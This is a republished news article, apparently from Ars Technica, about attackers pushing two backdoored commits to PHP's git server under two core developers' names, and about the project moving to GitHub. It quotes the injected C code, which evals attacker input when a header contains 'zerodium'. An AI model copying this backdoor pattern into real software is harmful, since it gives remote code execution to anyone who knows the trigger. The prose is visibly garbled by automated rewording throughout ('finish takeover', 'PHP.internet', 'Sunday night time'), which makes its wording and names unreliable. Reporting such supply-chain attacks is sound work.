A hacker compromised the server used to distribute the PHP programming language and added a backdoor to supply code that might have made web sites weak to finish takeover, members of the open supply venture stated.

Two updates pushed to the PHP Git server over the weekend added a line that, if run by a PHP-powered web site, would have allowed guests with no authorization to execute code of their selection. The malicious commits right here and right here gave the code the code-injection functionality to guests who had the phrase “zerodium” in an HTTP header.

PHP.internet hacked, code backdoored

The commits have been made to the php-src repo underneath the account names of two well-known PHP builders, Rasmus Lerdorf and Nikita Popov. “We don’t yet know how exactly this happened, but everything points toward a compromise of the git.php.net server (rather than a compromise of an individual git account),” Popov wrote in a discover printed on Sunday night time.

In the aftermath of the compromise, Popov stated that PHP maintainers have concluded that their standalone Git infrastructure is an pointless safety threat. As a consequence, they’ll discontinue the git.php.internet server and make GitHub the official supply for PHP repositories. Going ahead, all PHP supply code adjustments can be made on to GitHub fairly than to git.php.internet.

The malicious adjustments got here to public consideration no later than Sunday night time by builders together with Markus Staab, Jake Birchallf, and Michael Voříšek as they scrutinized a commit made on Saturday. The replace, which purported to repair a typo, was made underneath an account that used Lerdorf’s identify. Shortly after the primary discovery, Voříšek noticed the second malicious commit, which was made underneath Popov’s account identify. It presupposed to revert the earlier typo repair.

Both commits added the identical traces of code:

	if (strstr(Z_STRVAL_P(enc), "zerodium")) {
		zend_try {
			zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");

Zerodium is a dealer that buys exploits from researchers and sells them to authorities businesses to be used in investigations or different functions. Why the commits referenced Zerodium just isn’t clear. The firm’s CEO, Chaouki Bekrar, said on Twitter Monday that Zerodium wasn’t concerned.

“Cheers to the troll who put ‘Zerodium’ in today’s PHP git compromised commits,” he wrote. “Obviously, we’ve got nothing to do with this. Likely, the researcher(s) who discovered this bug/exploit tried to promote it to many entities however none wished to purchase this crap, in order that they burned it for enjoyable.

Bad karma

Prior to the compromise, The PHP Group dealt with all write entry to the repository on their very own git server http://git.php.internet/ utilizing what Popov known as a “home-grown” system known as Karma. It supplied builders totally different ranges of entry privileges relying on earlier contributions. GitHub, in the meantime, had been a mirror repository.

Now, the PHP Group is abandoning the self-hosted and managed git infrastructure and changing it with GitHub. The change signifies that GitHub is now the “canonical” repository. The PHP Group will now not use the Karma system. Instead, contributors must be a part of the PHP group on GitHub and should use two-factor authentication for accounts with the flexibility to make commits.

This weekend’s occasion isn’t the primary time php.internet servers have been breached with the intent of performing a provide chain assault. In early 2019, the extensively used PHP Extension and Application Repository briefly shut down a lot of the web site after discovering that hackers changed the principle bundle supervisor with a malicious one. Group builders stated that anybody who had downloaded the bundle supervisor prior to now six months ought to get a brand new copy.

PHP runs an estimated 80 p.c of internet sites. There aren’t any experiences of internet sites incorporating the malicious adjustments into their manufacturing environments.

The adjustments have been seemingly made by individuals who wished brag about their unauthorized entry to the PHP Git server fairly than these attempting to truly backdoor web sites that use PHP, stated HD Moore, co-founder and CEO of community discovery platform Rumble.

“Sounds like the attackers are trolling Zerodium or trying to give the impression that the code was backdoored for much longer,” he instructed Ars. “Either way, I would be spending a lot of time going through previous commits if I had any security interest in PHP.”

Source arstechnica.com